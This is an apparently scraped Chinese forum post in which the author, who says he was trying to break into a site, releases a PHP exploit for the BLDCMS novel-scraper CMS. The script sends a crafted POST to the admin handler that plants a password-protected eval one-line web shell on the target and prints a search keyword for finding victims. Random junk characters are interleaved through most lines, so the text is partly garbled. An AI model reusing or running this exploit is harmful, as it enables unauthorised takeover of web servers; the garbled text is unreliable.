之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞; p! b! o- T& v+ Z
$ z6 g J5 ?, f) R# A
m @; l; i) ?. @6 s1 j' W话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 2 C, a: m9 P2 ]8 c# |
* H- G1 O# x! g. ~* [$ b
既然都有人发了 我就把我之前写好的EXP放出来吧) e6 L4 W3 K0 V ^
t9 \$ w2 o0 H) D0 y$ d- o
view source print?01.php;">
" ` X+ V4 v/ X02.<!--?php4 G6 o( n1 g# ^% S: P* {
03.echo "-------------------------------------------------------------------# f6 b' M) J& T, q& I5 G! S
04. 9 Y/ ]- S, d& [* F+ j
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
0 u$ h A8 {% ?, W3 l8 _! g06. : @1 c4 S$ j, f K$ W
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun7 l, y- F) k2 T9 N# Q0 h' t* r3 R7 U
08. $ y7 a0 A4 D0 ~7 G" {
09.QQ:981009941\r\n 2013.3.21\r\n 5 _3 }3 D, ?9 h4 @2 q" H& n0 Z
10. % b( l$ s4 j8 n6 d! D' N5 m$ H
11. + V5 g$ r5 \( e
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码# m& `' w! O6 o/ h/ W+ }7 i
13. 8 T+ F# e) I4 X- H3 O2 ^
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------( g& r4 V: L, N9 q6 z
15.
7 M$ U8 ?8 M& C- O C7 E8 R5 w/ ~; F16.--------------------------------------------------------------------\r\n";* I7 L* L/ G$ I" e- ?' t
17.$url=$argv[1];
9 j0 o- p. z9 Z D3 H( _/ j18.$dir=$argv[2];# W3 F. B1 ~: a7 f
19.$pass=$argv[3];1 w- _% D+ b! b* F, _( H& H
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
; D" | H- U- s A( Z% E21.if (emptyempty($pass)||emptyempty($url))5 o1 K! w! v9 e6 O, S
22.{exit("请输入参数");}
+ V0 A; t. g; y! }* N& g% N23.else
: a) S( r; r1 c+ P( y24.{% C7 c2 @1 p1 L! x) e9 C
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
7 A) \; C% d: J26.
# k, g4 M% P' W# F) z' K27.al;
1 ~/ f, X! F: w3 f& U. s28.$length = strlen($fuckdata);
0 Y% g9 m$ z, w+ i29.function getshell($url,$pass)8 w! s" o1 z4 [# N7 D
30.{) Z+ A2 w2 \/ {3 A
31.global $url,$dir,$pass,$eval,$length,$fuckdata;1 n/ ^/ P( U5 ~0 ?7 ^; _
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
7 S- p" d6 d+ [" z* a( [& G" L3 h8 U( a33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
- G6 L; y4 ^/ i; _: ]7 t( [34.$header .= "User-Agent: MSIE\r\n";* }% x* a% `$ N, v
35.$header .= "Host:".$url."\r\n";6 e+ R$ Y1 K8 u& G2 @& a6 e
36.$header .= "Content-Length: ".$length."\r\n";8 ]8 k' r4 Z9 T
37.$header .= "Connection: Close\r\n";- x7 o+ x; o" s2 Q9 K- K
38.$header .="\r\n";) k- m3 Y" S% X: x4 Z# j! K, p, S
39.$header .= $fuckdata."\r\n\r\n";% J" H: }0 v& ~1 u! T
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
7 F. I6 p2 c9 ^! C41.if (!$fp)
9 l7 ]; J2 o' r# C7 M" P/ R42.{
, F! A6 V( b( N3 ~- n3 `3 R43.exit ("利用失败:请检查指定目标是否能正常打开");
- \6 I- M/ p k; ~44.}
8 q/ @& b: }4 ?3 v4 t45.else{ if (!fputs($fp,$header))
8 e. w' t8 b# c5 c% G. x, K46.{exit ("利用失败");}! l) ~; d- W5 Y, i" c
47.else
/ P/ b* {, C- G48.{
. W7 I7 G* x, | p, x2 M4 y49.$receive = '';
4 q, l5 J5 H! p1 V. L& ~50.while (!feof($fp)) {2 f. ]& G! T, X+ Y
51.$receive .= @fgets($fp, 1000);1 z( @% H! _+ V$ e" K7 L8 k" U' v
52.}+ g6 M0 v" B1 b( k
53.@fclose($fp);
: {. ^9 \0 a3 H54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
; \! N% o. H9 X2 G, a2 ~55. 6 }: v, t$ l. R3 {% A7 w5 X. G) `
56.GPC是否=off)";' b- J, L, F5 R G* O7 ]7 |/ f
57.}}: q% J$ X8 [) s: ^8 O; @5 ]& Y
58.}
8 N% A2 r% Q/ v A7 k" n+ t59.}
, `6 U% c O& s60.getshell($url,$pass);* G( X* O" a' Q$ }
61.?--># ^# _6 l, ~+ H2 t2 w# o8 x! q
) ?" u: L" m( c- l9 I3 I3 x1 O
+ ^3 |( E3 J- |4 e9 i& A! C / L0 }9 C/ u1 `0 p3 y
by 数据流! W" l$ o5 |. E' K% [$ P
|